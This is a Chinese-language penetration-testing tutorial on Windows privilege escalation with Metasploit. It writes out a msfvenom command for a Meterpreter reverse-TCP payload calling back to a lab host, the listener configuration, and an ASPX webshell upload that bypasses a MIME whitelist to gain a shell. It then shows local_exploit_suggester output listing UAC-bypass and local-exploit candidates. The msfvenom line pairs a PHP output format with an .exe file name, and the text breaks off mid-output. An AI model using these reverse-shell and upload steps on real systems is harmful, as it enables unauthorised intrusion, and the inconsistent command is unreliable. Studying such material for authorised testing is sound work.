118.网络安全渗透测试—[权限提升篇16]—[Windows MSF提权模块&提权审计工具]

我认为，无论是学习安全还是从事安全的人，多多少少都有些许的情怀和使命感！！！

一、MSF 结合漏洞审计工具进行提权

1、MSF漏洞审计模块：local_exploit_suggeste

（1）生成攻击载核：

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.97.130 lport=12345 -f php > 64.exe

（2）msf开启监听：

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.97.130
set lport 12345
exploit

（3）利用文件上传的MIME白名单类型突破，上传了up.aspx大马，然后上传64.exe并执行，后得到一个低权限的shell：

（4）当前session下执行漏洞检测模块：

run post/multi/recon/local_exploit_suggester #这里没有扫描到漏洞，可以换个方法扫描

[+] 192.168.97.131 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 192.168.97.131 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] 192.168.97.131 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 1